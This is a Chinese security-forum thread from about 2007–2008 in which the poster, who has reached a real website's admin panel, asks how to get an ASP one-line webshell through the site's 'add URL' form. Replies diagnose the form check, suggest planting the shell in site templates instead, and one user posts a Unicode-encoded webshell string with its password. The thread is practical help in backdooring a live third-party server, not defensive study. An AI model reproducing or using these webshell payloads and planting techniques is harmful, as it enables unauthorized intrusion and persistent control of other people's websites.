[讨论]如何将一句话木马闭合
[讨论]如何将一句话木马闭合议题作者:xxzk1984
信息来源:邪恶八进制信息安全团队([url=http://www.eviloctal.com/]www.eviloctal.com[/url])
昨天研究一个站,进入了后台,如图1所示
由于通过其他方式拿到了网站的代码,所以知道其数据库为asp的,想到了在添加新网址的那里插入一句话马。
所以加入一句话马,如图2所示
但提交后提示“表单不完整!”
[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img] [img]http://forum.eviloctal.com/attachments/Mon_0712/58_3384_16ef16656d4e99b.gif[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=7023¬humb=yes]2.gif[/url] (492 KB)
2007-12-12 18:03[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img] [img]http://forum.eviloctal.com/attachments/Mon_0712/58_3384_1943d41f7a809bb.gif[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=7024¬humb=yes]3.gif[/url] (295 KB)
2007-12-12 18:03[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img] [img]http://forum.eviloctal.com/attachments/Mon_0712/58_3384_ff46330e2cf547c.gif[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=7025¬humb=yes]4.gif[/url] (234 KB)
2007-12-12 18:03
所以考虑到是不是asp木马没有闭合的问题,改变方法如图3所示
实在是搞不动程序怎么做的限制,兄弟们帮探讨探讨。。
表单提交的代码如下:
Code Language : ASP
<%
if Session(\"isAdmin\")<>true Then
Response.Write \"非法闯入!\"
Response.End
End if
%>
<!--#include file=\"conn.asp\"-->
<%
title=request(\"title\")
url=request(\"url\")
leibie=request(\"leibie\")
memo=request(\"memo\")
if title=\"\" or url=\"\" or leibie=\"\" then
response.write \"<font color='red'>表单不完整!</font><br>\"
else
set r=server.createobject(\"adodb.recordset\")
r.open \"select * from detail where title='\"&title&\"'\",conn,1,3
r.addnew
r(\"title\")=title
r(\"url\")=url
if memo=\"\" then
r(\"memo\")=\" \"&memo
else
r(\"memo\")=memo
end if
r(\"classid\")=leibie
r(\"verity\")=1
r.update
response.write \"<font color='red'>新网站添加成功!</font><br>\"
response.write \"<a href='#' onclick='window.close()'>关闭本窗口</a>\"
end if
%>
Parsed in 0.007 seconds
谢谢了
ps:麻烦冰血帮我转为正式的吧,要不老发贴讨论感觉好麻烦的哦。
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3384]0[/url] 积分28 阅读权限40 在线时间41 小时 注册时间2005-4-7 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3384]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]
[url=http://forum.eviloctal.com/space-uid-80082.html]沉渊[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 if title="" or url="" or leibie="" then
response.write "<font color='red'>表单不完整!</font><br>"
把这3个地方填完Dreamless world……
帖子25 精华[url=http://forum.eviloctal.com/digest.php?authorid=80082]0[/url] 积分179 阅读权限40 性别男 在线时间215 小时 注册时间2007-2-11 最后登录2008-6-30 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=80082]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=兼职&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]赚更多的钱[/url]
[url=http://forum.eviloctal.com/space-uid-141734.html]゛小︷帅!﹊[/url] [img]http://forum.eviloctal.com/images/avatars/14.gif[/img]
晶莹剔透§烈日灼然 复制内容到剪贴板
代码:
if title="" or url="" or leibie="" then
response.write "<font color='red'>表单不完整!</font><br>"
呵呵,这个地方没写完..。
楼主在本地测试吧?
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url] [url=http://wpa.qq.com/msgrd?V=1&Uin=276653168&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url] [url=http://wwp.icq.com/scripts/search.dll?to=276653168][img]http://forum.eviloctal.com/images/default/icq.gif[/img][/url]
帖子58 精华[url=http://forum.eviloctal.com/digest.php?authorid=141734]0[/url] 积分155 阅读权限40 来自杭州 在线时间152 小时 注册时间2007-9-29 最后登录2008-7-16 [url=http://www.xshacker.cn]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=141734]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=猎头&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]您知道您年薪应是多少?[/url]
[url=http://forum.eviloctal.com/space-uid-3384.html]xxzk1984[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 [url=https://forum.eviloctal.com/p_w_upload/Mon_0712/58_3384_ff46330e2cf547c.gif]https://forum.eviloctal.com/p_w_ ... ff46330e2cf547c.gif[/url]
从这个图就可以看出来我提交的是完整的啊。但是我填入后他提示信息不完整,非本地测试。
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3384]0[/url] 积分28 阅读权限40 在线时间41 小时 注册时间2005-4-7 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3384]查看详细资料[/url]TOP
[url=http://forum.eviloctal.com/space-uid-66411.html]hackest[/url] [img]http://forum.eviloctal.com/customavatars/66411.gif[/img]
运维管理组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] 类别,没选
[img]http://forum.eviloctal.com/images/smilies/yangcong/59.gif[/img]My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url] [url=http://wpa.qq.com/msgrd?V=1&Uin=297521327&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子882 精华[url=http://forum.eviloctal.com/digest.php?authorid=66411]20[/url] 积分5849 阅读权限150 性别男 来自广东 在线时间941 小时 注册时间2006-10-12 最后登录2008-3-3 [url=http://www.hackest.cn/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=66411]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=干洗店加盟&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]少女暴富的隐秘(图)[/url]
[url=http://forum.eviloctal.com/space-uid-5154.html]优格[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] 一句话木马用这个看看
复制内容到剪贴板
代码:
┼癥污爠煥敵瑳∨∣┩>
密码是#
能在数据库中执行
帖子226 精华[url=http://forum.eviloctal.com/digest.php?authorid=5154]2[/url] 积分796 阅读权限100 性别男 在线时间123 小时 注册时间2005-5-29 最后登录2008-4-16 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=5154]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]
[url=http://forum.eviloctal.com/space-uid-3384.html]xxzk1984[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 引用:
引用第4楼hackest于2008-01-01 12:38发表的 :
类别,没选
[img]http://forum.eviloctal.com/images/smilies/yangcong/59.gif[/img]
可能当时抓的图没有,但是当时我选择了。
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3384]0[/url] 积分28 阅读权限40 在线时间41 小时 注册时间2005-4-7 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3384]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]
[url=http://forum.eviloctal.com/space-uid-3384.html]xxzk1984[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 引用:
引用第5楼优格于2008-01-04 00:08发表的 :
一句话木马用这个看看
复制内容到剪贴板
代码:
┼癥污爠煥敵瑳∨∣┩>
密码是#
能在数据库中执行
这个是什么代码 。。。怎么没看懂呢。。
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3384]0[/url] 积分28 阅读权限40 在线时间41 小时 注册时间2005-4-7 最后登录2008-7-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3384]查看详细资料[/url]TOP
[url=http://forum.eviloctal.com/space-uid-88700.html]hack4521[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 引用:
引用第7楼xxzk1984于2008-01-04 22:10发表的 :
这个是什么代码 。。。怎么没看懂呢。。
这上是他转换成unicod格式的一句话木马。。
一般在数据库里用。
不知道asp会不会认它?
帖子8 精华[url=http://forum.eviloctal.com/digest.php?authorid=88700]0[/url] 积分30 阅读权限40 在线时间13 小时 注册时间2007-3-9 最后登录2008-5-21 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=88700]查看详细资料[/url]TOP
[url=http://forum.eviloctal.com/space-uid-48403.html]kazhi12[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 这后台看着功能还不错
为什么要在这页面
一句话加别的地方不行?
9-14 行就是关键我讲你来的时候我会让你的鲜血顺着我的刀流下
[url=http://wpa.qq.com/msgrd?V=1&Uin=526933593&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子7 精华[url=http://forum.eviloctal.com/digest.php?authorid=48403]0[/url] 积分22 阅读权限40 性别男 来自地球 在线时间14 小时 注册时间2006-5-15 最后登录2008-4-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=48403]查看详细资料[/url]TOP
[url=http://forum.eviloctal.com/space-uid-67862.html]simpleboy[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 为什么不加在模版 里面啊 [img]http://forum.eviloctal.com/images/smilies/yangcong/63.gif[/img]只做安静的观众
帖子72 精华[url=http://forum.eviloctal.com/digest.php?authorid=67862]2[/url] 积分224 阅读权限40 在线时间42 小时 注册时间2006-10-23 最后登录2008-7-2 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=67862]查看详细资料[/url]TOP
[url=http://forum.eviloctal.com/space-uid-138826.html]chenck[/url] [img]http://forum.eviloctal.com/images/avatars/pw/kawayi1.gif[/img]
晶莹剔透§烈日灼然 呵呵,我是新手,关注中。我也想问了,为什么不再模板里加啊。
帖子2 精华[url=http://forum.eviloctal.com/digest.php?authorid=138826]0[/url] 积分9 阅读权限40 在线时间2 小时 注册时间2007-9-8 最后登录2008-1-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=138826]查看详细资料[/url]TOP
[url=http://forum.eviloctal.com/space-uid-3384.html]xxzk1984[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然
页:
[1]